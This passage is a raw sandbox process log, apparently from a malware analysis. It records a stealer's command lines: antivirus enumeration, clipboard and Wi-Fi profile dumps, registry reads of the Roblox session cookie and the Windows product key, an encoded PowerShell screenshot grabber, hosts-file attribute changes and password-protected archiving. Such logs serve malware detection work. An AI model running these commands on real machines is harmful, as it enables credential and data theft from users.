IAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-Clipboard
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\systeminfo.exe
systeminfo
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\netsh.exe
netsh wlan show profile
C:\Windows\system32\reg.exe
REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\attrib.exe
attrib -r C:\Windows\System32\drivers\etc\hosts
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\attrib.exe
attrib +r C:\Windows\System32\drivers\etc\hosts
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tnat4oei\tnat4oei.cmdline"
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8F8E.tmp" "c:\Users\Admin\AppData\Local\Temp\tnat4oei\CSCE3C54D021D940658515A7B4439FC3E1.TMP"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "getmac"
C:\Windows\system32\getmac.exe
getmac
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI44322\rar.exe a -r -hp"skoch" "C:\Users\Admin\AppData\Local\Temp\t0kho.zip" *"
C:\Users\Admin\AppData\Local\Temp\_MEI44322\rar.exe
C:\Users\Admin\AppData\Local\Temp\_MEI44322\rar.exe a -r -hp"skoch" "C:\Users\Admin\AppData\Local\Temp\t0kho.zip" *
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff82ac0cc40,0x7ff82ac0cc4c,0x7ff82ac0cc58
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic os get Caption"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2012,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2008 /prefetch:2
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1824,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2112 /prefetch:3
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2244,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2424 /prefetch:8
C:\Windows\System32\Wbem\WMIC.exe
wmic os get Caption
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3136,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3156 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3164,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3196 /prefetch:1
C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3684,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3656 /prefetch:1
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4736,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4744 /prefetch:8
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4716,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4888 /prefetch:8
C:\Windows\System32\Wbem\WMIC.exe
wmic computersystem get totalphysicalmemory
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4984,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4828 /prefetch:8
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4948,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4868 /prefetch:8
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=5132,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5092 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=4696,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5224 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=3284,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4568 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5324,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4648 /prefetch:8
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=3172,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5328 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=5648,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5468 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=5548,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5536 /prefetch:8
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4804,i,17691745649044589605,9807912776238848351,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2732 /prefetch:8
C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe
"C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe"
C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe
"C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Roaming\httptoolkit /prefetch:4 --no-rate-limit --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Roaming\httptoolkit\Crashpad --url=https://f.a.k/e --annotation=_productName=httptoolkit --annotation=_version=1.19.0 --annotation=plat=Win64 --annotation=prod=Electron --annotation=ver=29.1.5 --initial-client-data=0x47c,0x484,0x488,0x458,0x48c,0x7ff63b49a8c0,0x7ff63b49a8cc,0x7ff63b49a8d8
C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe
"C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\httptoolkit" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1776 --field-trial-handle=1784,i,1757674099044512439,15915100723782539794,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\bin\httptoolkit-server.cmd" start"
C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe
"C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\httptoolkit" --bypasscsp-schemes=sentry-ipc --cors-schemes=sentry-ipc --fetch-schemes=sentry-ipc --mojo-platform-channel-handle=1964 --field-trial-handle=1784,i,1757674099044512439,15915100723782539794,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe
"C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\httptoolkit" --bypasscsp-schemes=sentry-ipc --cors-schemes=sentry-ipc --fetch-schemes=sentry-ipc --app-path="C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\app.asar" --enable-sandbox --js-flags=--expose-gc --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2384 --field-trial-handle=1784,i,1757674099044512439,15915100723782539794,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\bin\node.exe
"C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\bin\..\bin\node.exe" "C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\bin\..\bin\run" start
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "^"C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\bin\httptoolkit-server.cmd^" ^"update^" ^"--autoupdate^""
C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\bin\node.exe
"C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\bin\..\bin\node.exe" "C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\bin\..\bin\run" "update" "--autoupdate"
C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe
java -Djdk.attach.allowAttachSelf=true -jar C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\overrides\java-agent.jar self-test
C:\Windows\system32\certutil.exe
certutil -h
C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\nss\win32\certutil.exe
C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\resources\httptoolkit-server\nss\win32\certutil -h
C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" cryptext.dll,CryptExtOpenCER C:\Users\Admin\Downloads\http-toolkit-ca-certificate.crt
C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Windows\system32\cryptext.dll,CryptExtAddCERMachineOnlyAndHwnd MIIDTzCCAjegAwIBAgIRCkHIS57iN0WniNqpURTwYkUwDQYJKoZIhvcNAQELBQAwQTEYMBYGA1UEAxMPSFRUUCBUb29sa2l0IENBMQswCQYDVQQGEwJYWDEYMBYGA1UEChMPSFRUUCBUb29sa2l0IENBMB4XDTI0MTAxNDIyMzIzN1oXDTI1MTAxNTIyMzIzN1owQTEYMBYGA1UEAxMPSFRUUCBUb29sa2l0IENBMQswCQYDVQQGEwJYWDEYMBYGA1UEChMPSFRUUCBUb29sa2l0IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1lF4SVzx1m3FoRIIB1/H+flv7ueq1eUsMfyu97SvCeeg6IUpnoRF3rmsqsh4pNAJhzmlPYBA824b0zxYLIIM/KcdIYkKvsxVj+zilqm0Md+9sezJRFxK9jykeAFY90/WU5y1H2vfQz/QhhX9mJPD61uhVbSxfslgsaUV+uu9XgqmVEUuJsyK1kjj0AGQMLsOQrz8eaeaKzz3EvQruWI5ZQjULExnd3pdwn/prZGEcx555Jlzrm4ytC/t0ESIS7j93od2DYDhEiG2WRGecG1S+UAGWyY/4QyzqULEYMGP+9HlpGCdidaTB44s7M+wbpuk77F4bYb72Mml8Rpx0YieWQIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBxjAdBgNVHQ4EFgQUrTcQn6QJOEOJSo7B7X0iRVmRbU4wDQYJKoZIhvcNAQELBQADggEBAMlEssMgP2TBgCdQ5rBf